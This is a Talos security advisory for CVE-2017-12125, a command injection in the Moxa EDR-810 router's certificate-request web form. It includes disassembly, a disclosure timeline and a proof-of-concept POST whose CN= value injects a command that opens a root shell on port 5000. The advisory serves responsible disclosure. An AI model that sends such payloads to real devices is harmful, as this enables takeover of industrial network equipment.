Talos Vulnerability Report

TALOS-2017-0477

Moxa EDR-810 Web Server Certificate Signing Request Command Injection Vulnerability

April 13, 2018
CVE Number

CVE-2017-12125

Summary

An exploitable command injection vulnerability exists in the web server functionality of Moxa EDR-810 V4.1 build 17030317. A specially crafted HTTP POST can cause a privilege escalation resulting in root shell. An attacker can inject OS commands into the CN= parm in the "/goform/net_WebCSRGen" uri to trigger this vulnerability.

Tested Versions

Moxa EDR-810 V4.1 build 17030317

Product URLs

https://www.moxa.com/product/EDR-810.htm

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Details

Once logged in to the device's web interface, a user can generate a X.509 CSR for the VPN via a POST to "/goform/net_WebCSRGen". One of the parameters that gets sent with this post request is the CN parameter. An attacker can inject OS commands to get a root shell.

Vulnerable URI: /goform/net_WebCSRGen Vulnerable Parameter: CN=

SUB             R3, R11, #-command
MOV             R0, R3  ; haystack
LDR             R1, =aCn ; "CN="
BL              strstr
MOV             R3, R0
STR             R3, [R11,#var_14]
LDR             R3, [R11,#var_14]
CMP             R3, #0
BEQ             loc_40AC8
...
SUB             R3, R11, #-s
MOV             R0, R3  ; command
BL              system

Exploit Proof-of-Concept

The following POST will start a root shell on port 5000.

POST: /goform/net_WebCSRGen HTTP/1.1
Host: DeviceIP
Cooke: Valid-Cookie
Content-Type: japplication/x-www-form-urlencoded

CN=`tcpsvd 0 5000 /bin/bash`#

Timeline

2017-11-15 - Vendor Disclosure
2017-11-19 - Vendor Acknowledged
2017-12-25 - Vendor provided timeline for fix (Feb 2018)
2018-01-04 - Timeline pushed to mid-March per vendor
2018-03-24 - Talos follow up with vendor for release timeline
2018-03-26 - Timeline pushed to 4/13/18 per vendor
2018-04-12 - Vendor patched & published new firmware on website
2018-04-13 - Public Release

Credit

Discovered by Carlos Pacho of Cisco Talos.